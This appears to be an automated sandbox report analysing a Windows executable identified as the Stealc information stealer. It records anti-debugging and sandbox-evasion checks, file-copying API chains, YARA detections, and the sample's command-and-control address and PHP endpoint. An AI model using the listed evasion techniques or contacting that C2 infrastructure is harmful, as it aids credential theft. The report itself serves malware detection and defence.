Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C6D6 second address: 149C6DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C6DC second address: 149C6E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F801E8 second address: F80229 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE903A971h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FFAE903A96Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov cx, bx 0x00000014 mov eax, ebx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FFAE903A972h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F802A3 second address: F802B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE9061D6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F802B2 second address: F8034A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 jmp 00007FFAE903A96Bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FFAE903A974h 0x00000016 sub cl, FFFFFFD8h 0x00000019 jmp 00007FFAE903A96Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FFAE903A978h 0x00000025 sbb ch, 00000038h 0x00000028 jmp 00007FFAE903A96Bh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 pushad 0x00000032 mov al, DBh 0x00000034 movsx ebx, ax 0x00000037 popad 0x00000038 pop ebp 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007FFAE903A976h 0x00000040 sub ah, FFFFFFC8h 0x00000043 jmp 00007FFAE903A96Bh 0x00000048 popfd 0x00000049 push eax 0x0000004a push edx 0x0000004b push esi 0x0000004c pop edx 0x0000004d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1201A78 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13ADDE5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13B7FCC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1442BE9 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00FB38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FB4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FADA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FADA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FAE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00FB4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FAED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FA16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FAF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00FB3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FABE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FABE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FADE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FADE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FA1160 GetSystemInfo,ExitProcess,

0_2_00FA1160

Source: file.exe, file.exe, 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareF
Source: file.exe, 00000000.00000002.1746507563.0000000000923000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1746507563.0000000000933000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1746507563.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13731
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13734
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13750
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13785
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13746

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FA45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00FA45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00FB9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB9750 mov eax, dword ptr fs:[00000030h]

0_2_00FB9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00FB78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7048, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00FB9600

Source: file.exe, file.exe, 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00FB7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00FB7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00FB7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00FB7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.fa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1706081897.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7048, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.fa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1706081897.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7048, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/?2	file.exe, 00000000.00000002.1746507563.0000000000906000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php)2	file.exe, 00000000.00000002.1746507563.0000000000906000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3/	file.exe, 00000000.00000002.1746507563.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37LjG30S	file.exe, 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpw/	file.exe, 00000000.00000002.1746507563.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.1746507563.0000000000933000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php$	file.exe, 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpa-7368302a1ad4	file.exe, 00000000.00000002.1746507563.0000000000906000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpu2	file.exe, 00000000.00000002.1746507563.0000000000906000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529173
Start date and time:	2024-10-08 17:31:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 19 Number of non-executed functions: 89
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945648026711068
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'885'184 bytes
MD5:	1666bdf952c77a910f9c69f491d5cc4b
SHA1:	e761daca0c544764e242bc6a2c17cbedc8c15c8c
SHA256:	4996064a6dc50f76d60d6aa783d5baafa7260930c0318f0762ba5c64f67ced64
SHA512:	bcc567d7b389dbcd486dc2503a50d87717b75d9bb3e492e72766890ff8a4afd35ad06e39dd927c440266bbbc33a8f7670f6bbdc2ad441fa6a726996c3218b103
SSDEEP:	49152:Cusg7gWxD4Blg2OqyjuAZPPoijrNarcQuo0SsEUml+3S:CuBEWmW2O9uWoqRIcHEo
TLSH:	DC9533E12D53C230D607F07E826B5FE75B69B0D3DD64D8E46F5A33381A6508AFB181A8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xab1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FFAE8AEEF3Ah
cpuid
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FFAE8AF0F35h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov cl, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	97b3c5a2f7f6c171ad17716d6a54532f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2ac000	0x200	6ac11bcfb8423bfd68bad63b241153b8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pvatzxoj	0x50a000	0x1a6000	0x1a6000	00144b35d7da4cdca1cdb83666f3e42b	False	0.9949661905731635	data	7.953433050296438	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ilwoqlxb	0x6b0000	0x1000	0x600	ee88d4ab4addb47d02546b42170ed8ef	False	0.5768229166666666	data	4.958836571705963	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6b1000	0x3000	0x2200	152fd7db8d2238210ea8bc57d4e5c232	False	0.06950827205882353	DOS executable (COM)	0.7558700266923736	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T17:32:02.906806+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 17:32:01.910640955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 17:32:01.915544033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 17:32:01.915638924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 17:32:01.915771961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 17:32:01.920640945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 17:32:02.631208897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 17:32:02.631294966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 17:32:02.633812904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 17:32:02.638837099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 17:32:02.906737089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 17:32:02.906805992 CEST	49730	80	192.168.2.4	185.215.113.37
